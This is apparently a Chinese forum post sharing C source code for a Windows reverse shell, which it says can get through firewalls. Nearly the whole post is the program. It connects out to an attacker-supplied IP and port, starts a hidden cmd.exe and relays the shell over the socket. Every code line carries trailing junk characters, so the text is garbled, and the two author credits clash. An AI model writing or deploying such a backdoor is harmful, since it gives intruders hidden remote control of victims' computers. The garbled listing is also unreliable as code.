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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {VWX?Mm  
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/* ============================== 8mM^wT  
Rebound port in Windows NT pNY+E5  
By wind,2006/7 jOuz-1x,&  
===============================*/ Dps0$f c  
#include IuJj ;L1  
#include TCW[;d  
/ESmQc:DWB  
#pragma comment(lib,"wsock32.lib") N%1T>cp0  
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void OutputShell(); 2jQ|4$9j  
SOCKET sClient; 0QE2e'}}-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <VB;J5Rv  
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void main(int argc,char **argv) F\1{bN|3  
{ _<?lP$Xr  
WSADATA stWsaData; y99 3uP   
int nRet; >3HLm3T  
SOCKADDR_IN stSaiClient,stSaiServer; 9p ;)s  
Eeem y*U  
if(argc != 3) KsZXdM/  
{ ^MPl wx  
printf("Useage:\n\rRebound DestIP DestPort\n"); (uB evU\  
return; vas   
} 8 Zy`Z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); )L?JH?$C  
^:Vwblv(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \wY? 6#;  
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stSaiClient.sin_family = AF_INET; qp>V\h\  
stSaiClient.sin_port = htons(0); _1w?nN'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cE S3<`[K  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !QoOL<(){  
{ f]F]wg\_f  
printf("Bind Socket Failed!\n"); /JPyADi  
return; RFyeA. N  
} N~H9|CX  
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stSaiServer.sin_family = AF_INET; OyVdQ".  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?A7&SdJaO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Jt6~L5[_s  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #7OUqp  
{ 1X\dH<B}  
printf("Connect Error!"); z@hlN3dg  
return; lUXxpv1m  
} Bfw]#"N`  
OutputShell(); h amn9  
} B9;dX6c  
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void OutputShell() Y=JfV  
{ @D%H-X  
char szBuff[1024]; ]Auk5M+  
SECURITY_ATTRIBUTES stSecurityAttributes; aNgaV$|2a  
OSVERSIONINFO stOsversionInfo; F)4Y;;#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |}paa  
STARTUPINFO stStartupInfo; r (Ab+1b  
char *szShell; wJA`e)>  
PROCESS_INFORMATION stProcessInformation; MH|!tkW>:  
unsigned long lBytesRead; l;$HGoJ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^]}UyrOn  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H8j#rC#&pm  
stSecurityAttributes.lpSecurityDescriptor = 0; d *ch.((-  
stSecurityAttributes.bInheritHandle = TRUE; Y85M$]e,  
w[Ee#Yaj.-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n2\;`9zm  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e_6VPVa  
>h>X/a(=~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D}59fWz@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 26|2r  
stStartupInfo.wShowWindow = SW_HIDE; Ht,_<zP;  
stStartupInfo.hStdInput = hReadPipe; e,/b&j*4th  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BE/#=$wPjM  
xj~ /C5@  
GetVersionEx(&stOsversionInfo); tW;?4}JR  
i_?";5B"  
switch(stOsversionInfo.dwPlatformId) CHp`4  
{ =E@wi?  
case 1: mB &nN+MV  
szShell = "command.com"; <H3njv  
break; Oz{.>Pjn^o  
default: a=bP   
szShell = "cmd.exe"; cRBdIDIc  
break; /Y:1zLs%  
} pfS?:f<+6"  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1'tagv?  
qa 'YZE`  
send(sClient,szMsg,77,0); 8%OS ,Z  
while(1) 4/; X-  
{ hXr`S4aJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SiJ0r @  
if(lBytesRead) 7Yp;B:5@  
{ 1(6B|w5+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {B$cd?}  
send(sClient,szBuff,lBytesRead,0); 3In` !@EJ  
} j.O7-t%C  
else  |/K+tH  
{ PGZ.\i  
lBytesRead=recv(sClient,szBuff,1024,0); V*P3C5 l  
if(lBytesRead<=0) break; G!},jO*"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (3z: ;  
} yIC.Jm D*  
} -N`j` zb|  
- Z?rx5V;t  
return; P7r?rbO"  
}
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